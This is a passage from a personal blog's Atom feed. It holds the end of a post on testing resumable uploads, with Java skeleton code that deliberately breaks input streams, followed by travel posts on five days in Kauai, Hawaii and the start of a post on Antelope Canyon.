<p>The right way to verify that this code works is to break the upload intentionally and randomly in the middle and check that the next upload session does not start from zero. Note that, it might not start from the exact byte offset where it was disconnected since the client network stack can have its buffer size to fill and it might discard the buffered bytes in case of an exception.  Therefore, the ratio of the number of bytes read to the file size should be close to one but might not be one.</p>
<blockquote>
<p>The right way to verify that this code works is to break the upload intentionally and randomly in the middle and check that the next upload session does not start from zero.</p></blockquote>
<h3 id="sample-skeleton-codes">Sample skeleton codes</h3>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Java
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">12
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-java" data-lang="java"><span style="display:flex;"><span><span style="color:#586e75">// SHA-256 or MD-5 whatever the server decides</span>
</span></span><span style="display:flex;"><span>String uniqueId <span style="color:#719e07">=</span> generateUniqueId(File file);
</span></span><span style="display:flex;"><span><span style="color:#586e75">// Number of already uploaded bytes (could be zero)</span>
</span></span><span style="display:flex;"><span><span style="color:#dc322f">int</span> alreadyUploaded <span style="color:#719e07">=</span> getAlreadyUploadedByteCount(uniqueId);
</span></span><span style="display:flex;"><span><span style="color:#586e75">// Upload rest of the bytes</span>
</span></span><span style="display:flex;"><span>upload(file, uniqueId, alreadyUploaded);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#dc322f">boolean</span> <span style="color:#268bd2">upload</span>(File file, String uniqueId, <span style="color:#dc322f">int</span> alreadyUploaded)
</span></span><span style="display:flex;"><span> <span style="color:#268bd2">throws</span> IOException {
</span></span><span style="display:flex;"><span>  InputStream in <span style="color:#719e07">=</span> getInputStream(file);
</span></span><span style="display:flex;"><span>  uploadViaHttp(file, uniqueId, alreadyUploaded);
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Java
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">14
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">15
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">16
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">17
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">18
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">19
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">20
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">21
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">22
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">23
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">24
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">25
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">26
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">27
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">28
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">29
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">30
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">31
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">32
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">33
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">34
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">35
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">36
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">37
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-java" data-lang="java"><span style="display:flex;"><span><span style="color:#dc322f">int</span> readCount;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#dc322f">boolean</span> <span style="color:#268bd2">upload</span>(File file, String uniqueId, <span style="color:#dc322f">int</span> alreadyUploaded)
</span></span><span style="display:flex;"><span><span style="color:#268bd2">throws</span> IOException {
</span></span><span style="display:flex;"><span>  InputStream in <span style="color:#719e07">=</span> getInputStream(file);
</span></span><span style="display:flex;"><span>  readCount <span style="color:#719e07">=</span> 0;  <span style="color:#586e75">// Testing only</span>
</span></span><span style="display:flex;"><span>  uploadViaHttp(in, uniqueId, alreadyUploaded);
</span></span><span style="display:flex;"><span>  <span style="color:#dc322f">double</span> ratio <span style="color:#719e07">=</span> ((<span style="color:#dc322f">double</span>)readCount)<span style="color:#719e07">/</span>file.size();  <span style="color:#586e75">// Testing only</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#586e75">// Standard method</span>
</span></span><span style="display:flex;"><span>InputStream <span style="color:#268bd2">getInputStream</span>(File file) <span style="color:#268bd2">throws</span> IOException {
</span></span><span style="display:flex;"><span>    <span style="color:#719e07">return</span> <span style="color:#719e07">new</span> FileInputStream(file);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#586e75">// Enhanced method for testing</span>
</span></span><span style="display:flex;"><span>InputStream <span style="color:#268bd2">getInputStream</span>(File file) <span style="color:#268bd2">throws</span> IOException {
</span></span><span style="display:flex;"><span>    <span style="color:#719e07">return</span> <span style="color:#719e07">new</span> FileInputStream(file) {
</span></span><span style="display:flex;"><span>        <span style="color:#dc322f">int</span> <span style="color:#268bd2">read</span>(<span style="color:#dc322f">byte</span><span style="color:#719e07">[]</span> b, <span style="color:#dc322f">int</span> off, <span style="color:#dc322f">int</span> len) <span style="color:#268bd2">throws</span> IOException {
</span></span><span style="display:flex;"><span>            <span style="color:#719e07">if</span> (random.nextBoolean()) {
</span></span><span style="display:flex;"><span>                <span style="color:#719e07">throw</span> <span style="color:#719e07">new</span> IOException(<span style="color:#2aa198">&#34;Intentionally broke the stream&#34;</span>);
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>            <span style="color:#dc322f">int</span> tmp <span style="color:#719e07">=</span> <span style="color:#268bd2">super</span>.read(b, 0, b.length());
</span></span><span style="display:flex;"><span>            readCount <span style="color:#719e07">+=</span> tmp;
</span></span><span style="display:flex;"><span>            <span style="color:#719e07">return</span> tmp;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#dc322f">int</span> <span style="color:#268bd2">read</span>(<span style="color:#dc322f">byte</span><span style="color:#719e07">[]</span> b) <span style="color:#268bd2">throws</span> IOException {
</span></span><span style="display:flex;"><span>            <span style="color:#719e07">return</span> read(b, 0, b.length);
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#dc322f">int</span> <span style="color:#268bd2">read</span>() <span style="color:#268bd2">throws</span> IOException {
</span></span><span style="display:flex;"><span>            readCount<span style="color:#719e07">++</span>;
</span></span><span style="display:flex;"><span>            <span style="color:#719e07">return</span> <span style="color:#268bd2">super</span>.read();
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div>]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/android" term="android" label="android"/><category scheme="https://ashishb.net/tag/android-development" term="android-development" label="android-development"/></entry><entry><title type="html">Five days in Kauai, Hawaii</title><link href="https://ashishb.net/travel/kauai-hawaii/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/maui-hawaii/?utm_source=atom_feed" rel="related" type="text/html" title="Four days in Maui, Hawaii"/><link href="https://ashishb.net/travel/big-island-hawaii/?utm_source=atom_feed" rel="related" type="text/html" title="Five days in Big Island, Hawaii"/><link href="https://ashishb.net/travel/oahu-hawaii/?utm_source=atom_feed" rel="related" type="text/html" title="Five days in Oahu, Hawaii"/><link href="https://ashishb.net/travel/antelope-canyon/?utm_source=atom_feed" rel="related" type="text/html" title="A trip to Antelope Canyon"/><link href="https://ashishb.net/travel/a-vegetarian-lunch-at-french-laundry/?utm_source=atom_feed" rel="related" type="text/html" title="A vegetarian lunch at French Laundry"/><id>https://ashishb.net/travel/kauai-hawaii/</id><author><name>Ashish Bhatia</name></author><published>2018-10-01T07:16:16+00:00</published><updated>2018-10-01T07:16:16+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the natural beauty of Kauai, Hawaii&rsquo;s nature island. Explore stunning hikes, serene beaches, and breathtaking lookouts that make Kauai unforgettable!</blockquote><p>Kauai is the nature island of Hawai&rsquo;i. It is smaller than 
<a href="/travel/big-island-hawaii/">Big Island</a> and way less developed than 
<a href="/travel/oahu-hawaii/">Oahu</a>.
Kauai is more about hikes and waterfalls than watersports.</p>
<h3 id="day-1">Day 1</h3>
<p>We started our first day with Kauai&rsquo;s   
    
    
<a href="https://www.himalayanacademy.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Hindu Monastery</a> It&rsquo;s a beautiful temple with picturesque surroundings.
I would recommend reserving a few hours to check out the whole area.
The monastery is only accessible till noon, so, plan accordingly.</p>
<figure>
    
    <a href="kauai_hindu_monastry_output2-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="kauai_hindu_monastry_output2-768x1024.jpg"
         alt="Hindu monastery in Kauai" width="900"/> </a>
</figure>

<figure>
    
    <a href="IMG_20180902_110931_resized-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20180902_110931_resized-768x1024.jpg"
         alt="Hindu monastery in Kauai" width="900"/> </a>
</figure>

<p>Then we headed to Makauwahi cave, it&rsquo;s a bit of drive, but the caves are accessible only for a few days every week from 10 AM -2 PM.
Unfortunately, the caves were closed due to a medical emergency, but the short hike to the caves and the tortoise farm was excellent.</p>
<figure>
    
    <a href="IMG_20180902_130849_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20180902_130849_resized-1024x768.jpg"
         alt="Tortoise Farm" width="900"/> </a>
</figure>

<figure>
    
    <a href="tortoise_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="tortoise_resized-1024x768.jpg"
         alt="A large tortoise rests on a patch of grass surrounded by foliage." width="900"/> </a>
</figure>

<p>Next, we head back up north to Wailua Falls. The falls are good for snapping a few photos.
There is an unofficial hike down to the falls as well.
I would recommend skipping these and doing Honopii falls (See Day 5) instead.</p>
<h3 id="day-2">Day 2</h3>
<p>We started the second day with   
    
    
<a href="https://www.kauai.com/nounou-east?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Sleeping Giants trail</a>. It is only 4 miles round-trip but has steep elevation gain.
The panoramic views from the top are pretty good though.</p>
<figure>
    
    <a href="sleeping_giants_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="sleeping_giants_resized-1024x768.jpg"
         alt="A scenic landscape with a steep path leading upwards, surrounded by lush greenery, offering panoramic views from the top" width="900"/> </a>
</figure>

<p>We then headed to   
    
    
<a href="https://www.hawaiimagazine.com/content/hiking-kauai%E2%80%99s-secluded-secret-beach?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Kauapea Beach</a> in the north. While it is pretty secluded, the waves were strong and unswimmable.
I would recommend skipping it and going to Poipu beach (see day 5) instead.</p>
<h3 id="day-3">Day 3</h3>
<p>Waimea Canyon has an appearance similar to  
<a href="/travel/grand-canyon/">Grand Canyon</a>.
It is much greener and smaller though. We started the day with the   
    
    
<a href="https://www.hawaii-guide.com/kauai/hiking_trails/kokee_and_waimea_state_park_hiking_trails?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Kukui Trail</a> in Waimea Canyon.
It is 5 miles long and goes from the top to the bottom of the canyon and back.
The views are good, but just like Grand Canyon, I would recommend doing this for the journey and not the destination since views are better from the top itself.</p>
<figure>
    
    <a href="waimea_canyon_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="waimea_canyon_resized-1024x768.jpg"
         alt="A stunning view of Waimea Canyon and a cascading waterfall, emphasizing the scenic beauty of the journey rather than the destination" width="900"/> </a>
</figure>

<figure>
    
    <a href="waterfall_waimea_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="waterfall_waimea_resized-1024x768.jpg"
         alt="A scenic view of Waimea Canyon, showcasing layered cliffs with earthy tones and sparse greenery under a clear sky, emphasizing natural beauty and geological features." width="900"/> </a>
</figure>

<p>Then we headed to the most beautiful lookout on the island, the   
    
    
<a href="https://www.hawaii-guide.com/kauai/sights/kalalau_lookout?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Kalalau lookout</a></p>
<figure>
    
    <a href="kalalau_lookout_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="kalalau_lookout_resized-1024x768.jpg"
         alt="A scenic view from Kalalau Lookout on Kauai island showcases lush green cliffs and a vast ocean, captured from a high vantage point." width="900"/> </a>
</figure>

<p>The views from the   
    
    
<a href="https://www.hawaii-guide.com/kauai/sights/puu_o_kila_lookout_and_overlook?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Pu&rsquo;u O Kila Lookout</a> give an even more symmetric view of the canyon joining the ocean.</p>
<figure>
    
    <a href="puuo_kila_lookout_resized-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="puuo_kila_lookout_resized-768x1024.jpg"
         alt="A scenic view from Puu O Kila Lookout, highlighting a lush canyon landscape extending toward the ocean, emphasizing a symmetric natural panorama." width="900"/> </a>
</figure>

<h3 id="day-4">Day 4</h3>
<p>We started with the Alakai Swamp trail.
It&rsquo;s a 7.7-mile long trail starting from the Pu&rsquo;u O Kila lookout.
The views are usually very cloudy, but the hike in itself is through a rainforest which makes the journey worthy of it.
Apart from a few muddy patches, the hike is relatively straightforward.
It took me about 4:15 hours to finish it.</p>
<figure>
    
    <a href="alakai_swamp_resized-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="alakai_swamp_resized-768x1024.jpg"
         alt="A narrow, muddy forest trail stretches into the distance, surrounded by dense greenery, highlighting a remote and natural landscape." width="900"/> </a>
</figure>

<p>Next, we headed down the   
    
    
<a href="https://kaleparidgetrail.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Kalapea Ridge Trail</a> which is ~ 2-miles round-trip unofficial trail from the Kalalau Lookout.
The trail is short but steep, and it&rsquo;s some patches are a bit risky. The views at the end are worthy of it though.
One can see the famous Kalalau beach at the bottom.</p>
<figure>
    
    <a href="kalepa_ridge_trail_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="kalepa_ridge_trail_resized-1024x768.jpg"
         alt="A scenic view of Kalalau Beach, visible from the Kalepa Ridge Trail, highlighted by rugged terrain and lush greenery." width="900"/> </a>
</figure>

<h3 id="day-5">Day 5</h3>
<p>We started the day with   
    
    
<a href="https://www.gohawaii.com/islands/kauai/regions/south-shore/spouting-horn?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Spouting horn</a>, a natural blowhole near the Poipu beach.
We then headed to do some swimming at the   
    
    
<a href="https://www.kauai.com/poipu-beach?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Poipu beach</a>.
Relative to the north shore, the water was calm and clean.
We saw a lot of fishes and even a Hawaiian Monk Seal.
I would highly recommend swimming here for a few hours.</p>
<figure>
    
    <a href="poipu_beach_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="poipu_beach_resized-1024x768.jpg"
         alt="A picturesque beach scene with crystal-clear water, lush greenery, and diverse marine life. Text recommends swimming and mentions fish and a Hawaiian Monk Seal." width="900"/> </a>
</figure>

<p>Then we headed north towards   
    
    
<a href="https://www.kauai.com/menehune-fishpond?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Menehune Fishpond overlook</a>. There isn&rsquo;t much to see here.
I would recommend skipping this and going to   
    
    
<a href="https://www.journeyera.com/hoopii-falls-trail-kauai/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Hoopii Falls</a> instead.
There are two falls, the first one is good for cliff jumping and the second one is bigger and is good for swimming.</p>
<figure>
    
    <a href="falls_1_resized-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="falls_1_resized-768x1024.jpg"
         alt="Waterfall for cliff jumping" width="900"/> </a>
</figure>

<figure>
    
    <a href="falls_2_resized-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="falls_2_resized-768x1024.jpg"
         alt="A scenic waterfall cascades down a rocky cliff surrounded by lush greenery, highlighting a natural landscape suitable for hiking and exploring." width="900"/> </a>
</figure>

<h3 id="notes">Notes</h3>
<ol>
<li>Carry good hiking boots. Most hikes are muddy due to year-round rainfall.</li>
<li>Carry a good amount of water and electrolytes since the sun is strong and hiking during the afternoon is hard.</li>
<li>Most road-side fruit shops are good at cutting the fruits for you. I would highly recommend   
    
    
<a href="https://www.yelp.com/biz/koloa-fruit-stand-koloa?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Koloa Fruit stand</a>; we got some delicious fruits here.</li>
<li>For vegetarians, I would recommend checking out Potions restaurant for Indian food and   
    
    
<a href="https://eathealthykauai.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Eat Healthy Kauai</a> for vegan food including Vegan Banana bread.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/hawaii" term="hawaii" label="hawaii"/><category scheme="https://ashishb.net/tag/usa" term="usa" label="usa"/></entry><entry><title type="html">A trip to Antelope Canyon</title><link href="https://ashishb.net/travel/antelope-canyon/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/hiking-natural-bridges-national-monument/?utm_source=atom_feed" rel="related" type="text/html" title="Hiking Natural Bridges National Monument"/><link href="https://ashishb.net/travel/grand-canyon/?utm_source=atom_feed" rel="related" type="text/html" title="Rim-2-Rimember: Day hiking through Grand Canyon"/><link href="https://ashishb.net/travel/zion-national-park/?utm_source=atom_feed" rel="related" type="text/html" title="Two days at Zion National Park"/><link href="https://ashishb.net/travel/joshua-tree-national-park/?utm_source=atom_feed" rel="related" type="text/html" title="A day at Joshua Tree National Park"/><link href="https://ashishb.net/travel/driving-from-albuquerque-to-phoenix/?utm_source=atom_feed" rel="related" type="text/html" title="Driving from Albuquerque to Phoenix"/><id>https://ashishb.net/travel/antelope-canyon/</id><author><name>Ashish Bhatia</name></author><published>2018-09-02T04:00:26+00:00</published><updated>2018-09-02T04:00:26+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the breathtaking beauty of Antelope Canyon with a guided tour. Book in advance to capture stunning photos in this iconic Navajo landmark.</blockquote><p>  
    
    
<a href="https://www.antelopecanyon.com/sightseers-tour/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Antelope Canyon</a> is probably the most photographed canyon in the world.
Located in the Navajo Indian preservation, only guided tours are permitted.
We took a trip to Antelope Canyon Tours.
The tour lasts about an hour, and it takes ~20 mins one-way drive to reach the canyon.
There aren&rsquo;t any hikes, just simple walks in the canyon.
Everyone is crazy running around and taking photos, so it does become a bit hard to enjoy in the mad rush.
Even then, if you are in the area, I would recommend booking a tour in advance to visit the canyon.</p>
<figure>
    
    <a href="1-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="1-768x1024.jpg"
